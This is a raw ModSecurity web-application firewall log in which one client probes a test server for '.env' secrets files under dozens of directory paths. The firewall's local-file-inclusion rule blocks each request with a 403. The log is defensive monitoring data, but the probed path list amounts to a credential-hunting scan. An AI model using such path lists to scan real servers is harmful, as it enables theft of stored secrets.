[Wed Feb 25 06:05:11.597716 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/icon/.env&quot;] [unique_id &quot;aZ6DB4v6AM5Bs3q_JQDYqAAAAAc&quot;]
[Wed Feb 25 06:05:11.597890 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/icon/.env&quot;] [unique_id &quot;aZ6DB4v6AM5Bs3q_JQDYqAAAAAc&quot;]
[Wed Feb 25 06:05:11.599217 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /fileserver/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fileserver/.env&quot;] [unique_id &quot;aZ6DB-TWwZsZM3_RktVDGwAAAAU&quot;]
[Wed Feb 25 06:05:11.599438 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fileserver/.env&quot;] [unique_id &quot;aZ6DB-TWwZsZM3_RktVDGwAAAAU&quot;]
[Wed Feb 25 06:05:11.599605 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fileserver/.env&quot;] [unique_id &quot;aZ6DB-TWwZsZM3_RktVDGwAAAAU&quot;]
[Wed Feb 25 06:05:11.652198 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /films/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/films/.env&quot;] [unique_id &quot;aZ6DB-TWwZsZM3_RktVDHAAAAAU&quot;]
[Wed Feb 25 06:05:11.652443 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/films/.env&quot;] [unique_id &quot;aZ6DB-TWwZsZM3_RktVDHAAAAAU&quot;]
[Wed Feb 25 06:05:11.652630 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/films/.env&quot;] [unique_id &quot;aZ6DB-TWwZsZM3_RktVDHAAAAAU&quot;]
[Wed Feb 25 06:05:11.720395 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /icons/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/icons/.env&quot;] [unique_id &quot;aZ6DB4v6AM5Bs3q_JQDYqQAAAAc&quot;]
[Wed Feb 25 06:05:11.720689 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/icons/.env&quot;] [unique_id &quot;aZ6DB4v6AM5Bs3q_JQDYqQAAAAc&quot;]
[Wed Feb 25 06:05:11.720887 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/icons/.env&quot;] [unique_id &quot;aZ6DB4v6AM5Bs3q_JQDYqQAAAAc&quot;]
[Wed Feb 25 06:05:11.722404 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /final_project/airflow_dag/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Final_Project/Airflow_Dag/.env&quot;] [unique_id &quot;aZ6DB-TWwZsZM3_RktVDHQAAAAU&quot;]
[Wed Feb 25 06:05:11.722684 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Final_Project/Airflow_Dag/.env&quot;] [unique_id &quot;aZ6DB-TWwZsZM3_RktVDHQAAAAU&quot;]
[Wed Feb 25 06:05:11.722876 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Final_Project/Airflow_Dag/.env&quot;] [unique_id &quot;aZ6DB-TWwZsZM3_RktVDHQAAAAU&quot;]
[Wed Feb 25 06:05:11.755780 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /final_project/kafka_twitter/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Final_Project/kafka_twitter/.env&quot;] [unique_id &quot;aZ6DB-TWwZsZM3_RktVDHgAAAAU&quot;]
[Wed Feb 25 06:05:11.756014 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Final_Project/kafka_twitter/.env&quot;] [unique_id &quot;aZ6DB-TWwZsZM3_RktVDHgAAAAU&quot;]
[Wed Feb 25 06:05:11.756179 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Final_Project/kafka_twitter/.env&quot;] [unique_id &quot;aZ6DB-TWwZsZM3_RktVDHgAAAAU&quot;]
[Wed Feb 25 06:05:11.768443 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ikiwiki/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ikiwiki/.env&quot;] [unique_id &quot;aZ6DB4v6AM5Bs3q_JQDYqgAAAAc&quot;]
[Wed Feb 25 06:05:11.768677 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ikiwiki/.env&quot;] [unique_id &quot;aZ6DB4v6AM5Bs3q_JQDYqgAAAAc&quot;]
[Wed Feb 25 06:05:11.768854 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ikiwiki/.env&quot;] [unique_id &quot;aZ6DB4v6AM5Bs3q_JQDYqgAAAAc&quot;]
[Wed Feb 25 06:05:11.845983 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /final_project/startingfile/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Final_Project/StartingFile/.env&quot;] [unique_id &quot;aZ6DB-TWwZsZM3_RktVDHwAAAAU&quot;]
[Wed Feb 25 06:05:11.846236 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Final_Project/StartingFile/.env&quot;] [unique_id &quot;aZ6DB-TWwZsZM3_RktVDHwAAAAU&quot;]
[Wed Feb 25 06:05:11.846437 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Final_Project/StartingFile/.env&quot;] [unique_id &quot;aZ6DB-TWwZsZM3_RktVDHwAAAAU&quot;]
[Wed Feb 25 06:05:11.868126 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /image_data/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/image_data/.env&quot;] [unique_id &quot;aZ6DB4v6AM5Bs3q_JQDYqwAAAAc&quot;]
[Wed Feb 25 06:05:11.868371 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/image_data/.env&quot;] [unique_id &quot;aZ6DB4v6AM5Bs3q_JQDYqwAAAAc&quot;]
[Wed Feb 25 06:05:11.868554 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/image_data/.env&quot;] [unique_id &quot;aZ6DB4v6AM5Bs3q_JQDYqwAAAAc&quot;]
[Wed Feb 25 06:05:11.869832 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /finalversion/lcomernbootcamp/projbackend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/finalVersion/lcomernbootcamp/projbackend/.env&quot;] [unique_id &quot;aZ6DB-TWwZsZM3_RktVDIAAAAAU&quot;]
[Wed Feb 25 06:05:11.870047 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/finalVersion/lcomernbootcamp/projbackend/.env&quot;] [unique_id &quot;aZ6DB-TWwZsZM3_RktVDIAAAAAU&quot;]
[Wed Feb 25 06:05:11.870202 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/finalVersion/lcomernbootcamp/projbackend/.env&quot;] [unique_id &quot;aZ6DB-TWwZsZM3_RktVDIAAAAAU&quot;]
[Wed Feb 25 06:05:11.926176 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /imagebord/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Imagebord/.env&quot;] [unique_id &quot;aZ6DB4v6AM5Bs3q_JQDYrAAAAAc&quot;]
[Wed Feb 25 06:05:11.926448 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Imagebord/.env&quot;] [unique_id &quot;aZ6DB4v6AM5Bs3q_JQDYrAAAAAc&quot;]
[Wed Feb 25 06:05:11.926616 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Imagebord/.env&quot;] [unique_id &quot;aZ6DB4v6AM5Bs3q_JQDYrAAAAAc&quot;]
[Wed Feb 25 06:05:11.962948 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /images/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/images/.env&quot;] [unique_id 